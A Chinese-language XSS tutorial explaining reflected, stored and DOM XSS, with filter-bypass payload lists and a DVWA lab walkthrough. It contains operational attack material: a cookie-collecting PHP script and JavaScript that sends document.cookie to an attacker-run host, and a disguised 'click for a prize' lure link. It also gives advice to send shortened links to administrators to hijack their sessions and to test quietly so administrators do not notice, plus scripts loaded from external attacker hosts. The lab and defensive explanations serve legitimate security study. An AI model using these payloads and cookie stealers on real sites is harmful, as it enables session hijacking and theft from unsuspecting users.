概述
【XSS简述】
XSS指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意的特殊目的。
【XSS分类】
- 反射型: 非持久性XSS攻击,当用户访问已被插入攻击代码的链接时,攻击代码执行,完成该次攻击;
- 存储型:持久型XSS攻击,攻击者把攻击代码永久存储在目标服务器上中,例如数据库,消息论坛,留言板,访问者日志等当,用户进入页面,代码就会被执行;
- DOM 型:DOM型与前两者的差别是,只在客户端进行解析,不需要服务器的解析响应。
防护绕过
检测XSS一般分为两种方式,一种是手工检测,另一种是软件自动检测,各有利弊。
使用手工检测时,检测结果精准,但对于一个较大的Web应用程序而言,手工检测是一件非常困难的事情。而使用软件全自动检测时,虽然方便,却存在误报,或是有些隐蔽的XSS无法检测出。
【全自动检测】
【手工检测】
xss漏洞很容易被利用吗?那倒也未必。
毕竟在实际应用中web程序往往会通过一些过滤规则来组织代有恶意代码的用户输入被显示。不过,这里还是可以给大家总结一些常用的xss攻击绕过过滤的一些方法。
大小写绕过
这个绕过方式的出现是因为网站仅仅只过滤了<script>
标签,而没有考虑标签中的大小写并不影响浏览器的解释所致。具体的方式就像这样:
利用语句:
http://192.168.1.102/xss/example2.php?name=<sCript>alert("hey!")</scRipt>
二次构造
利用过滤后返回语句再次构成攻击语句来绕过。这个字面上不是很好理解,用实例来说。如下图,在这个例子中我们直接敲入script标签发现返回的网页代码中script标签被去除了,但其余的内容并没有改变。
于是我们就可以人为的制造一种巧合,让过滤完script标签后的语句中还有script标签(毕竟alert函数还在),像这样:
http://192.168.1.102/xss/example3.php?name=<sCri<script>pt>alert("hey!")</scRi</script>pt>
发现问题了吧,这个利用原理在于只过滤了一个script标签。
其他标签
并不是只有script标签才可以插入代码! 在这个例子中,我们尝试了前面两种方法都没能成功,原因在于script标签已经被完全过滤,但是不要方!能植入脚本代码的不止script标签。例如这里我们用<img>
标签做一个示范。我们利用如下方式:
http://192.168.1.102/xss/example4.php?name=<img src='w.123' onerror='alert("hey!")'>
就可以再次愉快的弹窗。原因很简单,我们指定的图片地址根本不存在也就是一定会发生错误,这时候onerror里面的代码自然就得到了执行。
以下再列举几个常用的可插入代码的标签。
<a onmousemove=’do something here’>
当用户鼠标移动时即可运行代码<div onmouseover=‘do something here’>
当用户鼠标在这个块上面时即可运行(可以配合weight等参数将div覆盖页面,鼠标不划过都不行)- 类似的还有
onclick
,但这个要点击后才能运行代码,条件相对苛刻,就不再详述。
【More】
很多HTML标记中的属性都支持 javascript:[code] 伪协议的形式,这就给了注入XSS可乘之机,例如:<img src = "javascript:alert(‘xss‘);">
。这里即便对传入的参数过滤了<>,
XSS还是能发生(前提是该标签属性需要引用文件)。
假设过滤函数进一步又过滤了javascript等敏感字符串,只需对javascript进行小小的操作即可绕过,例如:<img src= "java script:alert(‘xss‘);" width=100>
。这里之所以能成功绕过,其实还得益于JS自身的性质:Javascript通常以分号结尾,如果解析引擎能确定一个语句是完整的,且行尾有换行符,则分号可省略。而如果不是完整的语句,javascript则会继续处理,直到语句完整结束或分号,像<img src= "javascript: alert(/xss/); width=100>
同样能绕过。
编码转换
有的时候,服务器往往会对代码中的关键字(如alert)进行过滤,这个时候我们可以尝试将关键字进行编码后再插入,不过直接显示编码是不能被浏览器执行的,我们可以用另一个语句eval()来实现。eval()会将编码过的语句解码后再执行,简直太贴心了。
例如alert(1)编码过后就是\u0061\u006c\u0065\u0072\u0074(1)
,所以构建出来的攻击语句如下:
http://192.168.1.102/xss/example5.php?name=<script>eval(\u0061\u006c\u0065\u0072\u0074(1))</script>
闭合变量
来看这份代码:
乍一看,哇!自带script标签。再一看,WTF!填入的内容被放在了变量里!这个时候就要我们手动闭合掉两个双引号来实现攻击,别忘了,Javascript是一个弱类型的编程语言,变量的类型往往并没有明确定义。
思路有了,接下来要做的就简单了,利用语句如下:
http://192.168.1.102/xss/example6.php?name=";alert("I am coming again~");"
效果如图。
回看以下注入完代码的网页代码,发现我们一直都在制造巧合。
先是闭合引号,然后分号换行,加入代码,再闭合一个引号,搞定!
闭合表单
来看看以下的HTML表单,提交<script>alert(0)</script>
无法直接触发XSS漏洞:
可以看到<script>
标签未被执行 ,而<from>
元素定义HTML表单,表单的后台处理程序在表单的 action 属性中指定!这里action属性是URL,而这个URL可以构造,故采用以下做法:
在onmouseover前加 "
(箭头所指)是为了与原来action的前 "
(三角形所指)闭合,而后在alert前面加 "
(箭头所指)是为了与原来action的后 "
(三角形所指)闭合,从而使代码整个包含在from标签里并解析。
关于HTML表单及from元素的详细用法见——HTML教程
手工挖掘
反射型
很多工具都可以扫描出反射型xss,但如果想要更隐蔽,或者是某些系统不允许扫描,这个时候就要手工检测了,这也是最能练技术时候,先说一下工具扫描,常见的扫描工具有:Safe3WVS,burpsuite,AWVS,appscan,W3af。
下面说下手工挖掘的思路,比如以下网站:
我们在账户输入处输入whoami,查看源代码,按下ctrl+f来搜索:whoami,看出现在哪个位置,来构造特定的payload:
我么可以构造"> <script>alert('XSS')</script>
把前面的<input
闭合掉,让它执行后面的代码,构造好代码后把URL变成短链接发送给管理员,管理员点击打开获取他的cookie登录:
挖掘反射型XSS的方法就是这样,用一句话来讲就是:
见框就插—>改数据包中的参数—>改URL中的参数—>JS源代码分析。
改数据包和JS源代码分析比较深就不再细说了。见框就插就比较好理解了,先在输入框输入唯一的字符串,查看源代码字符串的位置,再输入<>""/&()
看过滤了什么,然后根据过滤的字符来构造特定的XSS代码。
———————————————————————————————————————————
下面来仔细聊聊【修改URL参数】
URL 的一种常见组成模式如下:
<scheme>://<netloc>/<path>?<query>#<fragment>
比如,一个最普通的URL 如下:
http://www.foo.com/path/f.php?id=1&type=cool#new
对应关系如下:
<scheme>
- http<netloc>
- www.foo.com<path>
- /path/f.php<query>
-id=1&type=cool,包括<参数名=参数值>对<fragment>
- new
对这个URL 来说,攻击者可控的输入点有<path>
、<query>
、<fragment>
三个部分。这三部分对攻击者(或挖掘工具)来说,其意义非常明确。
由于<path>
和<query>
的情况很相似,所以,下面以流行的<query>
为例进行说明。看下面一来个普通的URL:
http://www.foo.com/xss.php?id=1
攻击者会这样进行XSS 测试,将如下payloads 分别添加到id=1中:
<script>alert(1)</script>
'"><script>alert(1)</script>
<img/src=@ οnerrοr=alert(1)/>
'"><img/src=@ οnerrοr=alert(1)/>
' οnmοuseοver=alert(1) x='
" οnmοuseοver=alert(1) x="
` οnmοuseοver=alert(1) x=`
javascript:alert(1)//
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
'";alert(1)//
</script><script>alert(1)//
}x:expression(alert(1))
alert(1)//
*/-->'"></iframe></script></style></title></textarea></xmp></noscript></
noframes></plaintext><script>alert(1)</script>
然后根据请求后的反应来看是否有弹出窗或者引起浏览器脚本错误。如果出现这些情况,就几乎可以认为目标存在XSS 漏洞。这些payloads 都很有价值,它们也存在很大的差异,玄机就出现在HTML 中。
针对上面的URL,我们利用的输入点是id=1,那么输出在哪里?可能有如下几处:
- HTML 标签之间,比如:出现在
<div id="body">[输出]</div>
位置; - HTML 标签之内,比如:出现在
<input type="text" value="[输出]" />
位置; - 成为 JavaScript 代码的值,比如:
<script>a="[输出]";...</script>
位置; - 成为 CSS 代码的值,比如:
<style>body{font-size:[输出]px;...}</style>
位置。
基本上就这以上四种情况,不过我们对这四种情况还可以细分,你会发现各种差异与陷阱。下面假设服务端不对用户输入与响应输出做任何编码与过滤。
1、HTML 标签之间
最普通的场景出现在<div id="body">[输出]</div>
位置,那么提交:id=1<script>alert(1)</script>
就可以触发XSS 了。可如果出现在下面这些标签中呢?
<title> </title>
<textarea> </textarea>
<xmp> </xmp>
<iframe> </iframe>
<noscript> </noscript>
<noframes> </noframes>
<plaintext> </plaintext>
比如,代码<title><script>alert(1)</script></title>
会弹出提示框吗?答案是:都不会!这些标签之间无法执行脚本。XSS 漏洞挖掘机制必须具备这样的区分能力,比如,发现出现在<title></title>
中,就将提交的payload 变为:</title><script>alert(1)</script>
除了这些,还有两类特殊的标签<script>
和<style>
,它们是不能嵌套标签的,而且payload 构造情况会更灵活,除了闭合对应的标签外,还可以利用它们自身可执行脚本的性质来构造特殊的payload,这在下面介绍。
2、HTML 标签之内
最普通的场景出现在<input type="text" value="[输出]" />
位置,要触发XSS,有以下两种方法:
- 提交 payload:
" οnmοuseοver=alert(1) x="
,这种是闭合属性,然后使用on 事件来触 发脚本; - 提交 payload:
"><script>alert(1)</script>
,这种是闭合属性后又闭合标签,然后直接 执行脚本。
先来看看这两个payload 哪个更好,如果对比利用效果,自然是第二个更好,因为它可直接执行。可是在工具挖掘中,哪个payload 的成功率更高呢?从对比可知,第二个比第一个多了<>
字符,而很多情况下,目标网站防御XSS 很可能就过滤或编码了<>
字符,所以第一个payload 的成功率会更高,这也是漏洞挖掘工具在这个场景中必须优先使用的payload。换句话说,我们的工具必须知道目标环境的特殊性,然后进行针对性的挖掘,而不应该盲目。
存储型
存储型xss和反射型不同的地方在于他会把输入的数据保存在服务端,反射型输入的数据游走在客户端。存储型xss主要存在于留言板评论区,因为最近没有挖到存储型xss,所以自己写了一个留言板用来演示:
点击留言(这里最好不要使用<script>alert("xss")</script>
来测试是否存在XSS漏洞,容易被管理员发现,所以你可以使用<a></a>
来测试,如果成功了,不会被管理员发现OK,我先在留言里出输入<a>s</a>
提交留言,F12打开审查元素,来看我们输入的标签是否被过滤了:
发现没有过滤(如果<a>s</a>
是彩色的说明没有过滤,如果是灰色就说明过滤了)。那我就在xss平台里创建一个项目,然后再次留言,里面写上,“<script src="http://xss8.pw/EFe2Ga?1409273226"></script>我想报名
“:
只要管理员点击就会获取管理员cookie和后台地址。
【存储型XSS简单分类】
【操作步骤】
在 burpsuite 的 intercepter 模块下,点击「 Intercepter is off 」按钮开启请求拦截 ——>在网站可输入处写入 XXXXX 的字符串——>查看拦截请求,将XXXXX字符串替换为以下payload:
<a href="javascript:alert(1)">click</a>
Data URI,仅限 Firefox 下可以利用:
<a href="data:text/html,<script>alert(1)</script>">click</a>
JS URI:
<embed src=javascript:alert(1)>
【存储型XSS挖掘总结】
DOM型
上面两种都需要服务端的反馈来构造XSS,DOM并不需要与服务端进行交互,是基于javascript的,保存如下代码为123.html:
<script>
document.write(document.URL.substring(document.URL.indexOf("a=")+2,document.URL.length));
</script>
在这里我先解释下上面的意思:
- Document.write是把里面的内容写到页面里。
- document.URL是获取URL地址。
- Substring 从某处到某处,把之间的内容获取。
- document.URL.indexOf(“a=”)+2是在当前URL里从开头检索a=字符,然后加2(因为a=是两个字符,我们需要把他略去),同时他也是substring的开始值
- document.URL.length是获取当前URL的长度,同时也是substring的结束值。
合起来的意思就是:在URL获取a=后面的值,然后把a=后面的值给显示出来。
怎么会出现这个问题呢?
因为当前url并没有a=的字符,而indexOf的特性是,当获取的值里,如果没有找到自己要检索的值的话,返回-1。找到了则返回0。那么document.URL.indexOf(“a=”)则为-1,再加上2,得1。然后一直到URL最后。这样一来,就把file的f字符给略去了,所以才会出现ile:///C:/Users/Administrator/Desktop/1.html。大致的原理都会了,我们继续下面的。
我们清楚的看到我们输入的字符被显示出来了。那我们输入<script>alert("xss")</script>
会怎么样呢?答案肯定是弹窗, 但是,这里没有弹框,主要是因为浏览器过滤了。
挖掘总结
【闭合问题】
假设输入框源码:<input type="text" name="2sec" value="[?]">
,其中value中的[?]是可输入部分则。
payload1:
value=" "autofocus/onfocus=alert(1)//">
解释一下以上语句:
- autofocus:对象在加载完成后自动获得焦点
- onfocus:事件在对象获得焦点时发生
第一个引号用于和value中的前一个引号闭合,结尾的//用于注释后面的语句,这样使得xss能被浏览器完整的解析:
value=" "autofocus/onfocus=alert(1)//" "
payload2:
value=" "><svg onload=alert("XSS")//">
第一个引号和用于和value中的前一个引号闭合,>用于和input左边的<闭合,<用于和结尾处的>闭合:
<input type="text" name="2sec" value=" "><svg onload=alert("XSS")//">
【HTML标签下的情况】
HTML标签下的XSS是一种最常见的情况,例如:
<!DOCTYPE HTML>
<html>
<head>
<title>HTML Context</title>
</head>
<body>
{{用户输入}}
</body>
</html>
可以使用以下payloads:
<script src=//attacker.com/evil.js></script>
<script>alert(1)</script>
<svg onload=alert(1)>
<body onload=alert(1)>
<iframe onload=alert(1)>
为了注入JS代码成功,我们需要闭合前面的HTML标签,然后使用<svg onload=alert(1)//
类似payload 就可以成功XSS。
但是有些html标签中不执行js代码,例如:<title>, <textarea >,<xmp>
都需要使用</title><script>alert(1)</script>
先闭合标签,再插入JS代码。
【HTML属性下的情况】
用户的输入是在HTML 标签的属性当中的时候,怎么来执行JS 代码。会有三种情况:
- 双引号
- 单引号
- 无引号
<!DOCTYPE HTML>
<html>
<head>
<title></title>
</head>
<body>
.....
...
<input type="" name="input" value="{{用户输入}}"> <!-- 双引号 -->
<input type="" name="input" value='{{用户输入}}'> <!-- 单引号 -->
<input type="" name="input" value={{用户输入}}> <!-- 无引号 -->
...
....
</body>
</html>
1、双引号payloads:
"autofocus οnfοcus="alert(1)
"autofocus onfocus=alert(1)//
"onbeforescriptexecute=alert(1)//
"οnmοuseοver="alert(1)//
"autofocus οnblur="alert(1)
2、单引号payloads:
'autofocus οnfοcus='alert(1)
'autofocus onfocus=alert(1)//
'onbeforescriptexecute=alert(1)//
'οnmοuseοver='alert(1)//
'autofocus οnblur='alert(1)
3、无引号payloads:
autofocus onfocus=alert(1)//
onbeforescriptexecute=alert(1)//
onmouseover=alert(1)//
4、hidden 标签:
<!DOCTYPE HTML>
<html>
..
<input type="hidden" value="{{用户输入}}" />
..
</html>
在onclick时间下,使用accesskey,故Payload: "accesskey="X" onclick="alert(1)"
,为了触发事件,需要按Alt+X
键。
【URL下的情况】
使用了加载URL的标签:
<script src="{{用户输入}}"></script>
<a href="{{用户输入}}">Click</a>
<iframe src="{{用户输入}}" />
<base href="{{用户输入}}">
<form action={{用户输入}}>
<button>X</button>
<frameset><frame src="{{用户输入}}"></frameset>
Payload:
javascript:alert(1)//
【Script标签下的情况】
用户的输入在<script>
标签中,从而导致的JS代码执行。
<!DOCTYPE HTML>
<html>
..
<script>
var x="{{用户输入}}";
..
...
</script>
..
</html>
Payloads:
";alert(1)//
"-alert(1)-"
"+alert(1)+"
"*alert(1)*"
DVWA
咱们先从漏洞靶场的实战来深入理解下各类XSS漏洞的防护和绕过,最后再总结手工检测的方法。
反射型
【Low】
界面如图所示:
查看后台源码:
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
观察到程序并没有对用户输入的name进行任何的过滤操作。那么我们直接输入<script>alert('XSS')</script>
即可观察到弹窗,从而验证XSS漏洞的存在。
再来尝试更过分的,直接获取Cookie值,输入<script>alert(document.cookie)</script>
,结果如下:
顺利读到Cookie值,F12打开开发者选项,可以看到,HttpOnly
属性没有设置为true:
咱们将其改为true,再尝试一下用刚才的弹框获取Cookie值:
此时,已经无法获取到Cookie值了。
咱们来将刚才获得的Cookie值利用起来,进行免密码登录的尝试。
- 首先,打开另一个浏览器(谷歌),访问DVWA的登录页面
- 然后,打开F12,将Cookie值替换掉,安全等级改为low,然后访问
127.0.0.1:8088/DVWA
,即可成功进入系统:
以上可见XSS漏洞的危害!在获取他人登录状态下的Cookie后可以实现免密码登录他人账号!
【Medium】
将系统的安全等级调为Medium,然后输入刚才的payload:<script>alert('XSS')</script>
,发现已经无法正常发生弹窗了:
查看后台源码:
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
在将获取到的name值得时候,经过str_replace()函数过滤,将name值中的<script>
标签转化为空。然后再将name值的结果输出,所以当我们再次使用low级别的payload的时候我们的<script>
标签被过滤掉。
特别注意的是这个函数也不太完美,因为它区分大小写。所以当我们使用low级别中的payload大写的时候,一样可以绕过它的过滤。我们试一下:
Payload:<SCRIPT>alert('XSS')</SCRIPT>
一样可以弹框,当然绕过的还有很多方式。处理这样的paylaod的时候最好再在前面加一个strtolower()
函数,将传递的name值得字符统统改为小写。这样就可以不管大小写都能逃不出去(只针对这一个payload)。
【High】
先来查看源码:
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
观察到使用了正则表达式来过滤。这里利用了preg_replace()函数,将包含<script
的字符,不管大小写,不管后面跟着1个或多个与之相同的字符都转换为空。那么我们就不能使用大小写绕过和重写的方法来绕过了。
虽然无法使用<script>
标签注入XSS代码,但是可以通过img、body等标签的事件或者iframe等标签的src注入恶意的js代码。这样就会避免出现<script>
标签被正则表达式匹配到。
我们可以使用以下Payload:
解释:标签是添加一个图片。src,指定图片的url,onerror是指定加载图片时如果出现错误则要执行的事件。这里我们的图片url肯定是错误的,这个弹框事件也必定会执行。
【Impossible】
查看源码:
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
正如级别含义,不可能的,这个很难做到弹框。里面处理$_GET[‘name’]
的值得时候利用了函数htmlspecialchars()
,将值里面的预定义函数,都变成html实体。
所以我们以上的payload都带有<>,这个经过转换之后是不会起作用的,也就不能够造成弹框。
存储型
【LOW】
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
代码解释:
trim(string,charlist) : 移除string字符两侧的预定义字符,预定义字符包括\t 、 \n 、\x0B 、\r以及空格,可选参数charlist支持添加额外需要删除的字符
stripslashes(string): 去除掉string字符的反斜杠\
mysqli_real_escape_string(string,connection) :函数会对字符串string中的特殊符号(\x00,\n,\r,\,‘,“,\x1a)进行转义。
$GLOBALS :引用全局作用域中可用的全部变量。$GLOBALS 这种全局变量用于在 PHP 脚本中的任意位置访问全局变量(从函数或方法中均可)。
PHP 在名为 $GLOBALS[index] 的数组中存储了所有全局变量。变量的名字就是数组的键。
可以看出,low级别的代码对我们输入的message和name并没有进行XSS过滤,而且数据存储在数据库中,存在比较明显的存储型XSS漏洞。
我们在name和message依次输入 LQW 和 <script>alert('520')</script>
,可以看到,我们的js代码立即就执行了:
咱们打开数据库查询:
在“其他选项菜单”中,选择Mysql工具->MySQL命令行,进入操作数据库的Shell窗口,并查看刚才插入的数据:
查看页面前端源代码,可以看到,Message位置显示的是我们的js代码,因为这里显示的数据是调用数据库里的数据:
除了在Message字段插入JS代码,咱们来试试在Name字段插入。但是发现,Name字段的长度被限制为10个字符了(超过了就输入不进去):
不过没关系,我们可以使用在前端直接更改maxlength的值,或者通过BurpSuite抓包后改包并绕过。
看看BP的:
成功绕过前端参数限制:
【Medium】
代码分析:
addslashes(string) :函数返回在预定义字符之前添加反斜杠的字符串,预定义字符 ' 、" 、\ 、NULL
strip_tags(string) :函数剥去string字符串中的 HTML、XML 以及 PHP 的标签
htmlspecialchars(string): 把预定义的字符 "<" (小于)、 ">" (大于)、& 、‘’、“” 转换为 HTML 实体,防止浏览器将其作为HTML元素
当我们再次在Name和Message依次输入Dog 和 <script>alert('hack')</script>
,strip_tags函数把<script>
标签给剥除了,addslashes函数把 ’ 转义成了 \'
,如下所示:
可以看到,由于对message参数使用了htmlspecialchars()函数进行编码,因此无法再通过message参数注入XSS代码,但是对于name参数,只是简单过滤了<script>
字符串,仍然存在存储型的XSS。
1.双写绕过
Burpsuite抓包改name参数为:<sc<script>ript>alert(/name/)</script>
,如下图所示:
【补充】我们在DVWA输入以下数据,Name=<script>55
,在BP中拦截到的数据包会经过URL编码,成为以下的形式:
使用URL在线编码转换验证下:
咱们篡改的数据,可以直接插入<sc<script>ript>alert(/name/)</script>
,也可以使用URL编码后的:
URL编码只是简单的在特殊字符的各个字节(16进制)前加上”%”即可。URL编码的原则就是使用安全的字符(没有特殊用途或者特殊意义的可打印字符)去表示那些不安全的字符。
关于为什么要进行URL编码:https://www.cnblogs.com/jerrysion/p/5522673.html
2.大小写混淆绕过
Burpsuite抓包改name参数为:<ScRipt>alert(/name/);</ScRipt>
3.使用非 script 标签的 xss payload
eg:img标签——Burpsuite抓包改name参数为:<img src=1 onerror=alert(/name/)>
其他标签和利用还有很多很多….
以上抓包修改数据Forward后,均成功弹窗:
【High】
分析:
这里使用正则表达式过滤了<script>
标签,但是却忽略了img、iframe等其它危险的标签,因此name参数依旧存在存储型XSS。
Exploit——Burpsuite抓包改name参数为<img src=1 onerror=alert(/name/)>
Forward后,成功弹窗:
【Impossible】
源代码:
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = stripslashes( $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$name = htmlspecialchars( $name );
// Update database
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
可以看到,这次impossible在high级别的基础上对name参数也进行了更严格的过滤,导致name参数也无法进行XSS攻击。而且使用了Anti-CSRF token防止CSRF攻击,完全杜绝了XSS漏洞和CSRF漏洞。
DOM型
DOM—based XSS漏洞是基于文档对象模型Document Objeet Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。
DOM中有很多对象,其中一些是用户可以操纵的,如uRI,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM—based XSS漏洞。可能触发DOM型XSS的属性:
- document.referer属性
- window.name属性
- location属性
- innerHTML属性
- documen.write属性
【Low】
源代码:
<?php
# No protections, anything goes
?>
从源代码可以看出,这里low级别的代码没有任何的保护性措施!
页面本意是叫我们选择默认的语言,但是对default参数没有进行任何的过滤:
查看网页前端代码,发现有JS逻辑代码存在:
具体如下:
document.write详解
document.write是JavaScript中对document.open所开启的文档流(document stream操作的API方法,它能够直接在文档流中写入字符串,一旦文档流已经关闭,那document.write就会重新利用document.open打开新的文档流并写入,此时原来的文档流会被清空,已渲染好的页面就会被清除,浏览器将重新构建DOM并渲染新的页面。
我们插入的 javascript 代码可以在 decodeURL(lang)
被执行,所以我们可以构造XSS代码,访问链接:
http://127.0.0.1:8088/vulnerabilities/xss_d/?default=<script>alert('hack')</script>
可以看到,我们的script脚本成功执行了:
同时可以看到,JS代码插入到页面代码中:
【Medium】
源代码:
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];
# Do not allow script tags (不区分大小写)
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}
?>
可以看到,medium级别的代码先检查了default参数是否为空,如果不为空则将default等于获取到的default值。这里还使用了stripos()
函数 用于检测default值中是否有 <script
,如果有的话,则将 default=English 。
很明显,这里过滤了 <script
(不区分大小写),那么我们可以使用<img src=1 onerror=('hack')>
但是当我们访问URL:
http://127.0.0.1/vulnerabilities/xss_d/?default=<img src=1 onerror=alert('hack')>
此时并没有弹出任何页面。
我们查看网页源代码,发现我们的语句被插入到了value值中,但是并没有插入到option标签的值中,所以img标签并没有发起任何作用。
所以我们得先闭合前面的标签,我们构造语句闭合option标签:
<option value=' " + lang + " '> " + decodeURI(lang) + " </option>
所以,我们构造该链接:
http://127.0.0.1:8088/vulnerabilities/xss_d/?default=></option><img src=1 onerror=alert('hack')>
但是我们的语句并没有执行,于是我们查看源代码,发现我们的语句中只有 > 被插入到了option标签的值中,因为闭合了option标签,所以img标签并没有插入
于是我们继续构造语句去闭合select标签,这下我们的img标签就是独立的一条语句了。
我们构造该链接:
http://127.0.0.1:8088/vulnerabilities/xss_d/?default= ></option></select><img src=1 onerror=alert('hack')>
可以看到,我们的语句成功执行了:
我们查看源代码,可以看到,我们的语句已经插入到页面中了:
【High】
服务器源代码:
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>
【服务器设置白名单】这里high级别的代码先判断defalut值是否为空,如果不为空的话,再用switch语句进行匹配(只允许传的 default值为 French、English、German、Spanish 其中一个),如果匹配成功,则插入case字段的相应值,如果不匹配,则插入的是默认的值。
这样的话,我们的语句就没有可能直接插入到页面中了。但是,我们依然有一种破解方法,构造攻击语句:
http://127.0.0.1:8088/vulnerabilities/xss_d/?default=English #<script>alert(/xss/)</script>
也能实现弹框:
写入页面的效果是这样的:
【原理】由于 form表单提交的数据想经过JS 过滤 所以注释部分的JS代码不会被传到服务器端(也就符合了白名单的要求)。
【Impossible】
服务端源代码:
<?php
# Don't need to do anything, protction handled on the client side
?>
我们可以看到,impossible级别的代码没有任何东西,注释写的是保护的代码在客户端的里面。我们可以看到,客户端的JS逻辑代码发生了改变:
发现这里对我们输入的参数并没有进行URL解码,所以我们输入的任何参数都是经过URL编码,然后直接赋值给option标签。所以,就不存在XSS漏洞了。
我们来尝试实验一下,访问链接
http://127.0.0.1/vulnerabilities/xss_d/?default=<script>alert('hack')</script>
发现页面并没有弹出任何东西,而且语言框内的值是我们输入的参数的经过URL编码后的数据:
查看下页面代码:
漏洞利用
反射型
【准备工作】
1、一个有反射型xss漏洞的网站(自己搭的虚拟站点,域名为xsstest.qq.com),该域名下有一个首页(index.html),一个登陆页面(login.html),一个登陆的cgi(login.php),一个用于搜索的cgi(search.php)。界面如下:
由于xss漏洞一般发生于与用户交互的地方,因此搜索框是我们关注的重点。
2、我们自己的黑客网站(另一个虚拟站点 hacker.qq.com)。该域名下有一个hack.php,用以收集用户的cookie,一个hacker.js用以向hack.php发请求。
【发现漏洞】
我们首先需要找出站点的xss漏洞发生在什么地方,上面提到,与用户交互的地方是我们的主要关注点。现在我们随意输入几个字符“计算机”,点击搜索:
这里发现了我们输入的字符出现在了搜索界面上(很多电商网站应该都是这种界面页面形式吧)。好,这次我们输入一些特殊字符来试试“<script>alert(1)</script>
”,点击搜索:
出现了我们心仪的小弹窗,看来search.php未对用户输入的关键词作任何处理,便直接输出到界面上,既然xss漏洞出现,那么便可以开始实施攻击了,这次攻击的目的是盗取用户的cookie。
【实施攻击】
首先我们来写我们自己的手机cookie CGI(hack.php),代码如下:
<?php
$cookie = $_GET['q'];
var_dump($cookie);
$myFile = "cookie.txt";
file_put_contents($myFile, $cookie);
?>
接着写发送请求的hacker.js,代码如下:
var img = new Image();
img.src = "http://hacker.qq.com/hack.php?q="+document.cookie;
document.body.append(img);
好的,现在可以构造一个连接来欺骗用户了:
<a href="http://xsstest.qq.com/search.php?
q=%3Cscript%20src=http://hacker.qq.com/hacker.js%3E%3C/script%3E
&commend=all&ssid=s5-e&search_type=item&atype=&filterFineness=&rr=1
&pcat=food2011&style=grid&cat=">点击就送998
</a>
看search.php 后的q参数 ,解码后为<script src="http://hacker.qq.com/hacker.js"></script>
